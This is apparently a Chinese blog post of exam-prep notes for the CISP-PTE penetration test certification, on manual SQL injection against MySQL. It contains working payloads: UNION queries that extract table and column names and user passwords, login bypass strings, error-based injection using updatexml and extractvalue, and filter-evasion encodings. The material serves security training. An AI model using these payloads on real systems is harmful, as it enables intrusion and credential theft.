一、前言

     SQLI是PTE考试中的重要组成部分,在本人的其他博客中已经有一些知识分享,在本篇博客中再记录一些关键的知识点与技巧。

二、重要的知识点

     1、SQLI的通用步骤

首先是寻找注入点,通常注入点会比较明显,然后是查找显示位、查找列数、联合查询获取数据,常见的题型包括普通的查询注入、弱口令、找回密码造成的二次注入、发布文章的二次注入等。其中比较麻烦可能是存在一些关键字、截断符的过滤。

2、MySQL中关键的信息

考试中是以MYSQL作为考试用的数据库,在MySQL5.0以后的版本中,所有的数据库名称、数据库中的表名、数据库表中的字段名都分别存储在了information_schema数据库中的schemata、tables、columns表中。在做该类型题目时,可能需要找到当前的数据库名称、数据库中的表名称、表中的字段名称,虽然可以通过SQLMAP工具进行测试,但是记住这几者非常有助于手工测试,并且手工测试的效率在考试中可能会高于SQLMAP工具的效率。

CISP-PTE学习笔记分享——SQL Injection_SQL

      举例说明,假设当前存在注入的语句为:1' union select 1,2 -- X,注入点在“2”的位置:

1)查询当前数据库中所有的表名:

1' union select 1,table_name from information_schema.tables where table_schema=database() -- X

2)根据上一条查询得到的表名,查询该表中的字段:

1' union select 1,column_name from information_schema.columns where table_name='users' -- x

3)根据上一条查询得到的字段名,查询对应的数据:

1' union select 1,concat_ws("/",user,password) from users -- x

3、使用URL编码

注意在URL中出现的空格、#号、-号尝试进行URL编码。

4、万能用户名与万能口令

在测试万能口令的时候有多种情况,测试的时候不要乱,依次尝试单引号、双引号、括号进行闭合,再尝试注释。常见的万能口令包括:‘ or '1'='1,  ' or 1=1#,   1'||'1,    1'||1#,   '=',   '-'等。

这里注意可能会遇到给了密码,但是没有用户名的情况,那此时就尝试万能用户名进行登录。

5、报错注入

报错注入有多个函数,记住两个就可以了,分别是updatexml,extractvalue,分别说明如下:

1)updatexml:需要3个参数,第2个参数为concat函数,concat又有3个参数,concat的第2个参数为SQL语句的位置

id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- X

id=1 and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),31,60),0x7e),1) -- X

Extractvalue:需要2个参数,第2个参数为concat函数,concat又有3个参数,concat的第2个参数为SQL语句的位置

id=1 and extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),31,60),0x7e)) 或者:

id=1 and (select extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),31,60),0x7e)))

6、or或者and被过滤

1)大小写变形:Or, OR, oR

2)双写绕过:oorr , anandd

3)使用||  、|、&&代替,注意对&&进行URL编码 

7、空格过滤

可以使用下面的符号尝试绕过:%a0\%0a\%0b\%09\%0c\ %0d\%20    /**/

CISP-PTE学习笔记分享——SQL Injection_SQL_02

技巧:合适BP对可以绕过的符号进行Fuzz,如下:

CISP-PTE学习笔记分享——SQL Injection_SQL_03

CISP-PTE学习笔记分享——SQL Injection_PTE_04

CISP-PTE学习笔记分享——SQL Injection_SQL injection_05

8、注释符绕过

1)替换绕过:--空格,--空格a,#,--+,-#-空格等

2)在URL中进行编码

3)闭合引号绕过:id=1' and '1